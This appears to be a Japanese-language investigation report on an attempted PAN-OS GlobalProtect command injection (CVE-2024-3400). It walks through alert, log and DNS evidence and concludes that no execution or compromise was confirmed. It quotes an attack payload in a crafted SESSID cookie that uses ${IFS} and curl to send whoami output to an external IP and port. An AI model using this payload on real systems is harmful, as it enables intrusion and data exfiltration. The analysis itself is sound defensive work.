zedocun/pan-os-cve-2024-3400-command-injection-investigationPAN-OS CVE-2024-3400 コマンドインジェクション試行の調査、ペイロード配信、内部処理、およびログ証拠に基づく実行検証の分析。
本プロジェクトでは、PAN-OS GlobalProtect サービスを標的とした CVE-2024-3400 のコマンドインジェクション試行 の調査について記録しています。
目的は以下の判断です：
重大なアラートがトリガーされ、悪用試行の可能性が示されました。
リクエストには細工されたクッキーが含まれています：
SESSID=... curl${IFS}144.172.79.92:4444?user=$(whoami)
${IFS} でスペースフィルターをバイパスwhoami でシステムの識別情報を取得しようとするcurl で外部通信を試行するこれは コマンドインジェクションペイロード です
Nginx ログでリクエストがサーバーに到達したことが確認されました：
POST /global-protect/login.esp
HTTP 200
User-Agent: curl
悪意のあるリクエストは受け入れられ、処理されました。
システムログには、ペイロードが内部ロジックに到達したことが示されています：
dt_curl) に埋め込まれたしかし：
DNS ルックアップが失敗 → 外部への送信は失敗
攻撃元 IP：
これにより外部攻撃者からの発信が確認されました。
攻撃前に複数の IP がシステムとやり取りしていました：
実際にエクスプロイトに関連しているのは 144.172.79.92 のみです。
これは 実際のコマンドインジェクション試行 でした。
攻撃者は以下のことに成功しました：
しかし：
確認された実行やシステム侵害はありません
コマンドインジェクション試行
ペイロード処理済み — 実行・影響は確認されず